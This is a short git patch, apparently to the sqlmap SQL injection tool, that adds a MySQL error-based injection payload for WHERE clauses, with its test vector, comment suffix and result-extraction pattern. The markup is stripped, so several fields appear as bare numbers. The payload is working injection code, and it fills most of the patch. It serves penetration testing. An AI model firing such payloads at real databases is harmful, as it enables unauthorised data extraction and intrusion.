From 13b522efc220bcf24690641aa37315c5870f740b Mon Sep 17 00:00:00 2001 From: Bernardo Damele Date: Thu, 9 Dec 2010 15:09:03 +0000 Subject: [PATCH] Added error-based support for MySQL < 5.0 - closes #14 --- xml/payloads.xml | 20 ++++++++++++++++++++ 1 file changed, 20 insertions(+) diff --git a/xml/payloads.xml b/xml/payloads.xml index c1a0a2d7d..096862635 100644 --- a/xml/payloads.xml +++ b/xml/payloads.xml @@ -889,6 +889,26 @@ Formats: + + MySQL OR error-based - WHERE clause + 2 + 2 + 2 + 1 + 2 + OR 1 GROUP BY CONCAT('[DELIMITER_START]',(%s),'[DELIMITER_STOP]',FLOOR(RAND(0)*2)) HAVING MIN(0) + + OR 1 GROUP BY CONCAT('[DELIMITER_START]',(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END)),'[DELIMITER_STOP]',FLOOR(RAND(0)*2)) HAVING MIN(0) + # + + + [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP] + +
+ MySQL +
+
+ PostgreSQL OR error-based - WHERE clause 2